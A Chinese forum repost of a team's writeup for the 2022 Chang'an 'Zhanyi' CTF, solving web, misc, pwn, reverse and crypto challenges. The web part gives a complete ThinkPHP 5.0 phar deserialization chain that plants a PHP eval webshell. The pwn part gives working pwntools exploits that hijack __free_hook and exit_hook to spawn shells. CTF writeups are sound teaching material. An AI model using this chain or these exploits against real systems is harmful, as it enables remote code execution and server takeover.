安全矩阵

 找回密码
 立即注册
搜索
查看: 2812|回复: 0

长安“战疫”2022 部分WriteUp (第四名)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-11 15:49:41 | 显示全部楼层 |阅读模式
原文链接:长安“战疫”2022 部分WriteUp (第四名)

Web
★tp
访问/public/可知使用了Thinkphp5.0框架,且有提示访问upload方法进行文件上传,那么就访问/public/index.php/index/index/upload,得到源代码

upload()方法对$_requests进行遍历,存在任意变量注册。但是$filename写死了文件后缀,所以没办法通过文件上传答题。

upload()后面一部分检查$filename如果存在ph字符串时,则删除文件。这里联想到了unlink()触发phar反序列化,且Thinkphp5.0是有已知反序列化链可getshell的。

需要注意一个点的是本地搭建环境测试发现,Thinkphp的phar反序列化会把生成的shell.php存到非web目录中,做题过程中没有细究所有原因还不明。
phar生成payload:
  1. <?php  
  2. namespace think\process\pipes;  
  3. class Windows  
  4. {  
  5. private $files = [];  
  6. public function __construct()  
  7. { $this->files = [new \think\model\Merge];  
  8. }  
  9. }  
  10.   
  11. namespace think\model;  
  12. use think\Model;  
  13.   
  14. class Merge extends Model  
  15. {  
  16. protected $append = [];  
  17. protected $error;  
  18.   
  19. public function __construct()  
  20. { $this->append = [  
  21. 'bb' => 'getError'  
  22. ];  
  23. $this->error = (new \think\model\relation\BelongsTo);  
  24. }  
  25. }  
  26. namespace think;  
  27. class Model{}  
  28.   
  29. namespace think\console;  
  30. class Output  
  31. {  
  32. protected $styles = [];  
  33. private $handle = null;  
  34. public function __construct()  
  35. { $this->styles = ['removeWhereField'];  
  36. $this->handle = (new \think\session\driver\Memcache);  
  37. }  
  38. }  
  39.   
  40. namespace think\model\relation;  
  41. class BelongsTo  
  42. {  
  43. protected $query;  
  44. public function __construct()  
  45. { $this->query = (new \think\console\Output);  
  46. }  
  47. }  
  48.   
  49. namespace think\session\driver;  
  50. class Memcache  
  51. {  
  52. protected $handler = null;  
  53. public function __construct()  
  54. { $this->handler = (new \think\cache\driver\Memcached);  
  55. }  
  56. }  
  57. namespace think\cache\driver;  
  58. class File  
  59. {  
  60. protected $tag;  
  61. protected $options = [];  
  62. public function __construct()  
  63. { $this->tag = false;  
  64. $this->options = [  
  65. 'expire' => 3600,  
  66. 'cache_subdir' => false,  
  67. 'prefix' => '',  
  68. 'data_compress' => false,  
  69. 'path' => 'php://filter/convert.base64-decode/resource=../../../../../../../../../../../../../../../../../../../../var/www/html/public/',  // 这里指定了shell存放路径
  70. ];  
  71. }  
  72. }  
  73.   
  74. class Memcached  
  75. {  
  76. protected $tag;  
  77. protected $options = [];  
  78. protected $handler = null;  
  79.   
  80. public function __construct()  
  81. { $this->tag = true;  
  82. $this->options = [  
  83. 'expire' => 0,  
  84. 'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',  
  85. ];  
  86. $this->handler = (new File);  
  87. }  
  88. }  
  89.   
  90. $o = new \think\process\pipes\Windows;  
  91. $phar = new \Phar("a.phar"); //后缀名必须为phar  
  92. $phar->startBuffering();  
  93. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
  94.   
  95. $phar->setMetadata($o); //将自定义的meta-data存入manifest  
  96. $phar->addFromString("test.txt", "test"); //添加要压缩的文件  
  97. //签名自动计算  
  98. $phar->stopBuffering();
复制代码

将生成的a.phar改名为a,然后构造如下HTML,上传phar文件
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <title>Title</title>
  6. </head>
  7. <body>

  8. <h1>hello worlds</h1>
  9. <form action="http://xxx.lxctf.net/public/index.php/index/index/upload" method="post" enctype="multipart/form-data">
  10.     <p><input type="file" name="file"></p>
  11.     <p><input type="submit" value="submit"></p>
  12. </form>

  13. </body>
  14. </html>
复制代码


构造如下数据包触发phar
  1. POST /public/index.php/index/index/upload HTTP/1.1
  2. Host: xxx.lxctf.net
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryppwxmDlGxyhspudr
  10. Content-Length: 267

  11. ------WebKitFormBoundaryppwxmDlGxyhspudr
  12. Content-Disposition: form-data; name="FILES[file][name]"

  13. phar://a
  14. ------WebKitFormBoundaryppwxmDlGxyhspudr
  15. Content-Disposition: form-data; name="FILES[file][tmp_name]"

  16. xxx
  17. ------WebKitFormBoundaryppwxmDlGxyhspudr--
复制代码



访问shell,得到flag

★Flag配送中心

去php.net找下下一个版本(5.6.24)修复了啥漏洞

发现CVE-2016-5385,跟着文章复现了一遍就拿到flag了
https://www.cnblogs.com/foe0/p/11364567.html

RCE_No_Para
访问靶机看到源代码,联系题目可知是无参数rce
  1. <?php
  2. if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
  3.     if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
  4.         eval($_GET['code']);
  5.     }else{
  6.         die("Hacker!");
  7.     }
  8. }else{
  9.     show_source(__FILE__);
  10. }
  11. ?>
复制代码



网上很多payload,但是此题过滤了end,header和session,所以选择使用get_defined_vars函数
参考连接:
https://skysec.top/2019/03/29/PH ... %9Aget-defined-vars
但是需要绕过end,可以使用current(array_reverse)代替end,得到flag

Flask
提示信息如下

通过如下方式绕过,访问admin

根据返回的提示进行构造,触发ssti

限制了双下划线和中括号,通过|attr和十六进制绕过

Misc
八卦迷宫

将图形对应的汉字连在一起然后转成汉语拼音即可
cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}

★朴实无华的取证内存取证
先扫一遍flag相关文件,找到一个压缩包和图片

导出两个文件,得到一张图片和一个加密的压缩包,压缩包里有个encrypt.txt


所以考虑先解开压缩包,去镜像中找密码,在记事本记录里找到
​​

解开压缩包,得到encrypt.txt。可以看出是偏移为三的凯撒加密

把图片上的编码,在线凯撒解密得到flag,这里猜测图片上的?是_

交了flag不正确,手动调整第一个8为X,提交正确
cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}

无字天书流量包提取文件,可以在其中一个文件中发现一串16进制,根据文件头可知是一个压缩包

把十六进制提取出来,利用winhex还原压缩包

打开里面两个文件,notepad++打开key.ws发现都是空白字符,且存在tab和换行,猜测是whitespace

在线网站解密得到key

flag.txt全是空白字符,猜测是snow加密 且上一步找到了key,使用tk大佬的工具一把梭

★西安加油Wireshark查看全是HTTP请求

观察发现大部分是返回404状态码,过滤状态码为200的仅有几条

在tcp.stream eq 4中发现hint

进行Base32解码得到如下
  1. 9403.png is 0
  2. 8086.png is 1
  3. 7301.png is 2
  4. 7422.png is 3
  5. 3978.png is 4
  6. 8266.png is 5
  7. 7683.png is 6
  8. 5410.png is 7
  9. 4365.png is 8
  10. ...(太多,这里省略)
复制代码

在tcp.stream eq 6中发现一串可疑数据

Base64解码后是一个zip压缩包,解压后里面放着大量png图片,图片文件名对应着上面Base32解出来的内容

两个线索联想到一起,应该就是拼图,用Photoshop拼接后得到flag

★binary用二进制文件读取234,发现文件头为CAFEBABE,即class文件头,补齐后缀名.class,然后打开可以看到一个数组,然后通过把数组里的数值转成字符

可以得到base64加密的字符串,base64解密后可以得到全部01组成的字符串,观察可以知道是37*37的矩阵,转成二维码形式查看,得到flag

exp如下:
​​
  1. from PIL import Image
  2. from zlib import *

  3. MAX = 37
  4. pic = Image.new("RGB",(MAX,MAX))
  5. str="0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000"
  6. i=0
  7. for y in range(0,MAX):
  8.     for x in range(0,MAX):
  9.         if(str[i] == '0'):
  10.             pic.putpixel([x,y],(0,0,0))
  11.         else:pic.putpixel([x,y],(255,255,255))
  12.         i = i+1
  13. pic.show()
  14. #pic.save("result.png")
复制代码



微信扫码得到flag

PWN

pwn1
32位程序在返回的时候不是leave ret
我们将ebp-0x4栈地址中的值 给覆盖成 backdoor_addr所在的栈中地址再+4,即  v4_stack_addr+4.
  1. #coding:utf8
  2. from pwn import *
  3. context.log_level="debug"
  4. p=process("./pwn1")
  5. p=remote("113.201.14.253",16088)

  6. p.recvuntil("Gift:")
  7. stack_addr=int(p.recv(10),16)


  8. pd=p32(0x08048540)            
  9. pd+="a"*(0x38-0x8)
  10. pd+=p32(stack_addr+4)

  11. p.sendline(pd)
  12. p.interactive()
复制代码



pwn2
add功能存在off-by-one漏洞

利用改漏洞修改下一个chunk的size实现堆块重叠后泄露libc,改__free_hook为system来getshell
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3. '''
  4. @File    :   exp.py
  5. @Time    :   2022/01/08 11:26:40
  6. @Author  :   eur1ka  
  7. @Version :   3.8
  8. @Contact :   eur1ka@163.com
  9. '''
  10. # here put the import lib
  11. from pwn import *
  12. from LibcSearcher import *
  13. import pwnlib
  14. debug = 1
  15. context.log_level = 'debug'
  16. context.arch = 'amd64'
  17. context.terminal = ['tmux','splitw','-h']
  18. IP=""
  19. port=1
  20. file_name = "./pwn2"
  21. try:
  22.     libc_path = "./libc-2.27.so"
  23.     libc = ELF(libc_path)
  24. except:
  25.     pass
  26. menu = "Choice: "
  27. elf=ELF(file_name)
  28. if debug:
  29.     sh = process(file_name)
  30. else:
  31.     sh = remote(IP,port)
  32. def debug():
  33.     gdb.attach(sh)
  34.     pause()
  35. def cmd(choice):
  36.     sh.recvuntil(menu)
  37.     sh.sendline(str(choice))

  38. def add(size,content):
  39.     cmd(1)
  40.     sh.sendlineafter("size: ",str(size))
  41.     sh.sendafter("content: ",content)

  42. def edit(idx,content):
  43.     cmd(2)
  44.     sh.sendlineafter("idx: ",str(idx))
  45.     sh.sendafter("content: ",content)

  46. def dele(idx):
  47.     cmd(3)
  48.     sh.sendlineafter("idx: ",str(idx))

  49. def show(idx):
  50.     cmd(4)
  51.     sh.sendlineafter("idx: ",str(idx))
  52. for i in range(2):
  53.     add(0x38,'a\n')
  54. add(0x40,'a\n')
  55. for i in range(8):
  56.     add(0x80,"a\n")
  57. dele(0)
  58. add(0x38,'a'*0x38+"\x91")

  59. for i in range(7):
  60.     dele(i+3)
  61. dele(1)
  62. add(0x38,'/bin/sh\x00\n')
  63. show(2)
  64. libc_base = u64(sh.recv(6).ljust(8,b"\x00")) - 0x3ebca0
  65. log.info("libc_base=>{}".format(hex(libc_base)))
  66. add(0x40,'a\n')
  67. dele(2)
  68. edit(3,p64(libc_base+libc.sym['__free_hook']))
  69. add(0x40,'a\n')
  70. add(0x40,p64(libc_base+libc.sym['system']))
  71. sh.sendline()
  72. # debug()
  73. dele(1)
  74. sh.interactive()
复制代码

pwn3存在泄露libc地址及任意写的功能,只要游戏能通过

游戏很简单,就是判断create以及levelup的字符串长度大于0x7fffffff即可

漏洞点在levelup里面,输入字符可以覆盖a1+9的地方

成功通过检测后覆盖exit_hook为one_gadget即可
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3. '''
  4. @File    :   exp.py
  5. @Time    :   2022/01/08 15:45:20
  6. @Author  :   eur1ka  
  7. @Version :   3.8
  8. @Contact :   eur1ka@163.com
  9. '''
  10. # here put the import lib
  11. from pwn import *
  12. from LibcSearcher import *
  13. import pwnlib
  14. debug = 0
  15. context.log_level = 'debug'
  16. context.arch = 'amd64'
  17. context.terminal = ['tmux','splitw','-h']
  18. IP="113.201.14.253"
  19. port=16033
  20. file_name = "./Gpwn3"
  21. try:
  22.     libc_path = "./libc-2.23.so"
  23.     libc = ELF(libc_path)
  24. except:
  25.     pass
  26. menu = "You choice:"
  27. elf=ELF(file_name)
  28. if debug:
  29.     sh = process(file_name)
  30. else:
  31.     sh = remote(IP,port)
  32. def debug():
  33.     gdb.attach(sh)
  34.     pause()
  35. def cmd(choice):
  36.     sh.recvuntil(menu)
  37.     sh.sendline(str(choice))

  38. def create(payload):
  39.     cmd(1)
  40.     sh.sendlineafter("Give me a character level :\n",payload)

  41. def leaveup(payload):
  42.     cmd(2)
  43.     sh.sendlineafter("Give me another level :\n",payload)

  44. def play():
  45.     cmd(3)
  46.     # sh.sendlineafter("")

  47. # sh.sendlineafter(menu,'a'*0xf)
  48. create('a'*35)
  49. leaveup('a'*0x10)
  50. leaveup('a'*0x10)
  51. play()
  52. play()
  53. sh.recvuntil("Here's your reward: ")
  54. put_addr = int(sh.recv(14),16)
  55. libc_base = put_addr - libc.sym['puts']
  56. log.info("libc_base=>{}".format(hex(libc_base)))
  57. exit_hook = libc_base + 0x5f0f48
  58. '''
  59. ➜  pwn3 one_gadget libc-2.23.so
  60. 0x45226 execve("/bin/sh", rsp+0x30, environ)
  61. constraints:
  62.   rax == NULL

  63. 0x4527a execve("/bin/sh", rsp+0x30, environ)
  64. constraints:
  65.   [rsp+0x30] == NULL

  66. 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
  67. constraints:
  68.   [rsp+0x50] == NULL

  69. 0xf1247 execve("/bin/sh", rsp+0x70, environ)
  70. constraints:
  71.   [rsp+0x70] == NULL
  72. '''
  73. one = libc_base + 0xf1247
  74. sh.sendafter("Warrior,please leave your name:",p64(exit_hook))
  75. sh.sendafter("We'll have a statue made for you!",p64(one))
  76. # debug()

  77. sh.interactive()
复制代码



RE


★combat_slogan
jd打开jar文件


输入的字符串经过ttd加密后与相等即可
  1. str="Jr_j11y_s1tug_g0_raq_g0_raq_pnml"
  2. flag=""
  3. for i in range(len(str)):
  4.         if 65<=ord(str[i])<=90 or 97<=ord(str[i])<=122:
  5.                 if 65<=ord(str[i])<=77:
  6.                         flag+=chr(ord(str[i])+13)
  7.                 if 78<=ord(str[i])<=90:
  8.                         flag+=chr(ord(str[i])-13)

  9.                 if 97<=ord(str[i])<=109:
  10.                         flag+=chr(ord(str[i])+13)
  11.                 if 110<=ord(str[i])<=122:
  12.                         flag+=chr(ord(str[i])-13)

  13.         else:
  14.                 flag+=str[i]
  15. print flag

  16. '''
  17. a-m    97-109
  18. n-z    110-122

  19. A-M     65-77
  20. N-Z     78-90
  21. '''
复制代码



★cute_doge
F12

Base64解密得到
flag{Ch1na_yyds_cazy}
​​
★hello_py
在线反编译得到
  1. #!/usr/bin/env python
  2. # visit https://tool.lu/pyc/ for more information
  3. import threading
  4. import time

  5. def encode_1(n):
  6.     global num
  7.     if num >= 0:
  8.         flag[num] = flag[num] ^ num
  9.         num -= 1
  10.         time.sleep(1)
  11.     if num <= 0:
  12.         pass
  13. def encode_2(n):
  14.     global num
  15.     if num >= 0:
  16.         flag[num] = flag[num] ^ flag[num + 1]
  17.         num -= 1
  18.         time.sleep(1)
  19.     if num < 0:
  20.         pass
  21.    

  22. Happy = [
  23.     44,
  24.     100,
  25.     3,
  26.     50,
  27.     106,
  28.     90,
  29.     5,
  30.     102,
  31.     10,
  32.     112]
  33. num = 9
  34. f = input('Please input your flag:')
  35. if len(f) != 10:
  36.     print('Your input is illegal')
  37.     continue
  38. flag = list(f)
  39. j = 0
  40. print("flag to 'ord':", flag)
  41. t1 = threading.Thread(encode_1, (1,), **('target', 'args'))
  42. t2 = threading.Thread(encode_2, (2,), **('target', 'args'))
  43. t1.start()
  44. time.sleep(0.5)
  45. t2.start()
  46. t1.join()
  47. t2.join()
  48. if flag == Happy:
  49.     print('Good job!')
  50.     continue
  51. print('No no no!')
  52. continue
复制代码

将happy首先进行 encode_2的解密然后 encode_1的解密.发现得到的结果都是明文
  1. num=9
  2. happy = [44,100,3,50,106,90,5,102,10,112]
  3. for i in range(num):
  4.         happy[i]=happy[i]^happy[i+1]
  5. for i in range(num):
  6.         happy[i]=happy[i]^i
  7. print happy#[72, 102, 51, 91, 52, 90, 101, 107, 114, 112]
复制代码

但有些奇怪.尝试将下标为偶数的元素进行 encode_2的解密
将下标为奇数的元素进行 encode_1的解密
  1. num=9
  2. happy = [44,100,3,50,106,90,5,102,10,112]
  3. flag=""
  4. for i in range(num):
  5.     if i%2==0:
  6.         happy[i]=happy[i]^happy[i+1]
  7.         flag+=chr(happy[i])
  8.     else:
  9.         happy[i]=happy[i]^i
  10.         flag+=chr(happy[i])
  11. print happy
  12. print flag#He110_caz
复制代码


根据前面flag的格式判断最后还缺个y
连在一起flag{He110_caz}

Crypto

LinearEquationsLCG 的变种,知道连续的 5 个结果后,三个方程三个未知数,解方程即可:

sage 脚本:
  1. data = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396]
  2. n = 10104483468358610819

  3. s0 = mod(data[0], n)
  4. s1 = mod(data[1], n)
  5. s2 = mod(data[2], n)
  6. s3 = mod(data[3], n)
  7. s4 = mod(data[4], n)

  8. B = ((s4 - s3) * (s2 - s1) - (s3 - s2) * (s3 - s2)) / ((s2 - s1) * (s2 - s1) - (s1 - s0) * (s3 - s2))
  9. print(hex(B))
  10. A = ((s3 - s2) - B * (s1 - s0)) / (s2 - s1)
  11. print(hex(A))
  12. C = s2 - A * s1 - B * s0
  13. print(hex(C))

  14. from Crypto.Util.number import long_to_bytes

  15. flag = long_to_bytes(int(A)) + long_to_bytes(int(B)) + long_to_bytes(int(C))
  16. print('cazy{' + flag.decode() + '}')
复制代码



★no_can_no_bb爆破 AES 密钥即可:
  1. import random
  2. from Crypto.Util.number import long_to_bytes
  3. from Crypto.Cipher import AES

  4. def pad(m):
  5.     tmp = 16-(len(m)%16)
  6.     return m + bytes([tmp for _ in range(tmp)])

  7. def decrypt(c, key):
  8.     aes = AES.new(key, AES.MODE_ECB)
  9.     return aes.decrypt(c)

  10. def main():
  11.     c = b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
  12.     for i in range(0, 1 << 20):
  13.         key = pad(long_to_bytes(i))
  14.         flag = decrypt(c, key)
  15.         if flag.startswith(b'cazy{'):
  16.             print(flag.decode())

  17. if __name__ == '__main__':
  18.     main()
复制代码



★no_cry_no_cankey长度为5
flag前5位是 craz{
flag与key的循环做异或 得到 一串乱码字符
乱码字符前五位与 craz{做异或即得到 key
然后再将乱码字符与key循环做异或即得到flag.
  1. '''
  2. from Crypto.Util.number import*
  3. from secret import flag,key

  4. assert len(key) <= 5
  5. assert flag[:5] == b'cazy{'
  6. def can_encrypt(flag,key):
  7.     block_len = len(flag) // len(key) + 1
  8.     new_key = key * block_len
  9.     return bytes([i^j for i,j in zip(flag,new_key)])
  10. c = can_encrypt(flag,key)
  11. print(c)
  12. '''

  13. c=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
  14. print len(c)
  15. flag=""
  16. for i in range(len(c)):
  17.         if i%5==0:
  18.                 flag+=chr(ord(c[i])^ord('c'))
  19.         if i%5==1:
  20.                 flag+=chr(ord(c[i])^ord('a'))
  21.         if i%5==2:
  22.                 flag+=chr(ord(c[i])^ord('z'))
  23.         if i%5==3:
  24.                 flag+=chr(ord(c[i])^ord('y'))
  25.         if i%5==4:
  26.                 flag+=chr(ord(c[i])^ord('{'))
  27. print flag

  28. print flag[:5]
  29. key=flag[:5]

  30. c=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
  31. print len(c)
  32. flag=""
  33. for i in range(len(c)):
  34.         if i%5==0:
  35.                 flag+=chr(ord(c[i])^ord(key[0]))
  36.         if i%5==1:
  37.                 flag+=chr(ord(c[i])^ord(key[1]))
  38.         if i%5==2:
  39.                 flag+=chr(ord(c[i])^ord(key[2]))
  40.         if i%5==3:
  41.                 flag+=chr(ord(c[i])^ord(key[3]))
  42.         if i%5==4:
  43.                 flag+=chr(ord(c[i])^ord(key[4]))

  44. print flag#cazy{y3_1s_a_h4nds0me_b0y!}
复制代码



★no_cry_no_cry
  1. import gmpy2
  2. from Crypto.Util.number import long_to_bytes

  3. c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169

  4. x = gmpy2.iroot(c - 0x0338470, 2)
  5. m = (1 << 500) - x[0]
  6. print(long_to_bytes(m))
复制代码


令:
x = inverse\_mod(q, p)
y = inverse\_mod(p, q)
则:
q \times x = 1 + k1 \times p
p \times y = 1 + k2 \times q
联立得:
q \times (x + k2) = p \times (y + k1)
由于 p 和 q 互质,因此:
p = x + k2
q = y + k1
代入 q \times x = 1 + k1 \times p 得:
x \times y = 1 + k1 \times k2

由于:
\phi(n) = (p - 1) \times (q - 1) = (x - 1 + k2) \times (y - 1 + k1) \\
将 k2 代入可得:
(x - 1) \times k1 ^ 2 + (x \times y - 1 - \phi(n) + (x - 1) \times (y - 1)) \times k1 + (y - 1) \times (x \times y - 1) = 0
解一元二次方程可得 k1,再算出 p q,最后解 RSA 即可

完整脚本如下:
  1. import gmpy2
  2. from Crypto.Util.number import long_to_bytes

  3. def solve(a, b, c):
  4.     delta = b ** 2 - 4 * a * c
  5.     if gmpy2.is_square(delta):
  6.         x1 = (-b + gmpy2.isqrt(delta)) // (2 * a)
  7.         x2 = (-b - gmpy2.isqrt(delta)) // (2 * a)
  8.         return True, (x1, x2)
  9.     else:
  10.         return False, (0, 0)

  11. def main():
  12.     y = 0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3
  13.     x = 0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b
  14.     cc = 0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386
  15.     e = 0x10005
  16.     d = 0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1
  17.     kn = e * d - 1
  18.    
  19.     for k in range(3, e):
  20.         if kn % k == 0:
  21.             phi = kn // k
  22.             a = x - 1
  23.             b = x * y - 1 + (x - 1) * (y - 1) - phi
  24.             c = (y - 1) * (x * y - 1)
  25.             ok, (k1, k2) = solve(a, b, c)
  26.             if not ok:
  27.                 continue
  28.             if (x * y - 1) % k1 == 0:
  29.                 k2 = (x * y - 1) // k1
  30.             elif (x * y - 1) % k2 == 0:
  31.                 k1, k2 = k2, (x * y - 1) // k2
  32.             else:
  33.                 print('error')
  34.                 return
  35.             p, q = x + k2, y + k1
  36.             N = p * q
  37.             flag = long_to_bytes(pow(cc, d, N))
  38.             print(flag)
  39.             break

  40. if __name__ == '__main__':
  41.     main()
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 19:30 , Processed in 0.015510 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表